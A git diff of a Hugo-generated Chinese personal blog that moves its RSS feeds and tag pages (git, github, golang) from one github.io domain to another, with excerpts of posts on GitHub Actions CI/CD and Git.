--- a/tags/git/index.xml
+++ b/tags/git/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>Git on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/git/</link>
+    <link>https://chenjunlinabc.github.io/tags/git/</link>
     <description>Recent content in Git on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Tue, 01 Feb 2022 18:00:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/git/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Tue, 01 Feb 2022 18:00:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/git/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>简单使用GitHub Actions来实现CI/CD</title>
-      <link>https://xiaochenabc123.github.io/posts/131/</link>
+      <link>https://chenjunlinabc.github.io/posts/131/</link>
       <pubDate>Tue, 01 Feb 2022 18:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/131/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/131/</guid>
       <description>CI：持续集成 (Continuous Integration) CD：持续交付 (Continuous Delivery) CD：持续部署 (Continuous Deployment)
 GitHub Actions是GitHub提供的持续集成服务
 GitHub Actions官方文档：https://docs.github.com/en/actions
@@ -29,15 +29,15 @@ on：指定触发workflow的条件，一般为事件触发（比如说push）
 jobs：每一项任务都需要定义个job_id，job中的name为该任务的描述，needs为指定当前任务的运行顺序（依赖关系），runs-on为指定运行时需要的虚拟机环境（这个字段必须填）
 目前github支持的虚拟机操作系统有ubuntu，windows，macOS，而且github提供的虚拟机是免费使用的
 这里举个例子（github官方的）
-name: GitHub Actions Demo
on: [push]
jobs:
Explore-GitHub-Actions:
runs-on: ubuntu-latest
steps:
- run: echo &amp;quot; The job was automatically triggered by a ${{ github.event_name }} event.&amp;quot;
- run: echo &amp;quot; This job is now running on a ${{ runner.os }} server hosted by GitHub!</description>
+name: GitHub Actions Demo on: [push] jobs: Explore-GitHub-Actions: runs-on: ubuntu-latest steps: - run: echo &amp;quot; The job was automatically triggered by a ${{ github.event_name }} event.&amp;quot; - run: echo &amp;quot; This job is now running on a ${{ runner.os }} server hosted by GitHub!</description>
     </item>
     
     <item>
       <title>Git版本管理系统学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/30/</link>
+      <link>https://chenjunlinabc.github.io/posts/30/</link>
       <pubDate>Wed, 16 Jun 2021 14:51:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/30/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/30/</guid>
       <description>git安装
 Windows和mac
 到git官网下载对应的安装文件，进行安装，下一步
diff --git a/tags/git/page/1/index.html b/tags/git/page/1/index.html
index e089f791..faf91b43 100644
--- a/tags/git/page/1/index.html
+++ b/tags/git/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/git/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/git/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/git/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/git/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/git/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/git/"></head></html>
\ No newline at end of file
diff --git a/tags/github/index.html b/tags/github/index.html
index ee150b30..239b752e 100644
--- a/tags/github/index.html
+++ b/tags/github/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Github | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/github/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/github/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Github"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/github/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Github"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>Github</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用GitHub Actions来实现CI/CD</h2></header><div class=entry-content><p>CI：持续集成 (Continuous Integration) CD：持续交付 (Continuous Delivery) CD：持续部署 (Continuous Deployment)
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Github | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/github/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/github/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Github"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/github/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Github"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>Github</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用GitHub Actions来实现CI/CD</h2></header><div class=entry-content><p>CI：持续集成 (Continuous Integration) CD：持续交付 (Continuous Delivery) CD：持续部署 (Continuous Deployment)
 GitHub Actions是GitHub提供的持续集成服务
 GitHub Actions官方文档：https://docs.github.com/en/actions
 workflow：工作流程，指一次持续集成的流程，由一个job或者多个job组成 Events：事件，触发流程的钩子（在github中事件为检测仓库特定活动的钩子，例如pull，当事件被触发则自动执行工作流程） Job：任务，任务是工作流程的主体 Steps：步骤，每个Job可以包含一个或多个Step Actions: 行为，每个Step包含一个或多个Action Runners: 执行环境，工作流程运行时的服务端，每一个执行环境可以运行一个任务
@@ -9,14 +9,7 @@
 jobs：每一项任务都需要定义个job_id，job中的name为该任务的描述，needs为指定当前任务的运行顺序（依赖关系），runs-on为指定运行时需要的虚拟机环境（这个字段必须填）
 目前github支持的虚拟机操作系统有ubuntu，windows，macOS，而且github提供的虚拟机是免费使用的
 这里举个例子（github官方的）
-name: GitHub Actions Demo
-on: [push]
-jobs:
-Explore-GitHub-Actions:
-runs-on: ubuntu-latest
-steps:
-- run: echo " The job was automatically triggered by a ${{ github.event_name }} event."
-- run: echo " This job is now running on a ${{ runner.os }} server hosted by GitHub!...</p></div><footer class=entry-footer><span title='2022-02-01 18:00:00 +0000 UTC'>2022-02-01</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用GitHub Actions来实现CI/CD" href=https://xiaochenabc123.github.io/posts/131/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+name: GitHub Actions Demo on: [push] jobs: Explore-GitHub-Actions: runs-on: ubuntu-latest steps: - run: echo " The job was automatically triggered by a ${{ github.event_name }} event." - run: echo " This job is now running on a ${{ runner.os }} server hosted by GitHub!...</p></div><footer class=entry-footer><span title='2022-02-01 18:00:00 +0000 UTC'>2022-02-01</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用GitHub Actions来实现CI/CD" href=https://chenjunlinabc.github.io/posts/131/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/github/index.xml b/tags/github/index.xml
index 671c014a..2d37775b 100644
--- a/tags/github/index.xml
+++ b/tags/github/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>Github on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/github/</link>
+    <link>https://chenjunlinabc.github.io/tags/github/</link>
     <description>Recent content in Github on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Tue, 01 Feb 2022 18:00:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/github/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Tue, 01 Feb 2022 18:00:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/github/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>简单使用GitHub Actions来实现CI/CD</title>
-      <link>https://xiaochenabc123.github.io/posts/131/</link>
+      <link>https://chenjunlinabc.github.io/posts/131/</link>
       <pubDate>Tue, 01 Feb 2022 18:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/131/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/131/</guid>
       <description>CI：持续集成 (Continuous Integration) CD：持续交付 (Continuous Delivery) CD：持续部署 (Continuous Deployment)
 GitHub Actions是GitHub提供的持续集成服务
 GitHub Actions官方文档：https://docs.github.com/en/actions
@@ -29,7 +29,7 @@ on：指定触发workflow的条件，一般为事件触发（比如说push）
 jobs：每一项任务都需要定义个job_id，job中的name为该任务的描述，needs为指定当前任务的运行顺序（依赖关系），runs-on为指定运行时需要的虚拟机环境（这个字段必须填）
 目前github支持的虚拟机操作系统有ubuntu，windows，macOS，而且github提供的虚拟机是免费使用的
 这里举个例子（github官方的）
-name: GitHub Actions Demo
on: [push]
jobs:
Explore-GitHub-Actions:
runs-on: ubuntu-latest
steps:
- run: echo &amp;quot; The job was automatically triggered by a ${{ github.event_name }} event.&amp;quot;
- run: echo &amp;quot; This job is now running on a ${{ runner.os }} server hosted by GitHub!</description>
+name: GitHub Actions Demo on: [push] jobs: Explore-GitHub-Actions: runs-on: ubuntu-latest steps: - run: echo &amp;quot; The job was automatically triggered by a ${{ github.event_name }} event.&amp;quot; - run: echo &amp;quot; This job is now running on a ${{ runner.os }} server hosted by GitHub!</description>
     </item>
     
   </channel>
diff --git a/tags/github/page/1/index.html b/tags/github/page/1/index.html
index 7b8c14a3..3486d8f6 100644
--- a/tags/github/page/1/index.html
+++ b/tags/github/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/github/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/github/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/github/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/github/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/github/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/github/"></head></html>
\ No newline at end of file
diff --git a/tags/golang/index.html b/tags/golang/index.html
index 7aac2934..c0526eaa 100644
--- a/tags/golang/index.html
+++ b/tags/golang/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>golang | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/golang/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/golang/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="golang"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/golang/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="golang"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>golang</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Hugo搭建网站</h2></header><div class=entry-content><p>Hugo是基于Go语言开发的静态网站生成器，特点就是快
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>golang | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/golang/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/golang/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 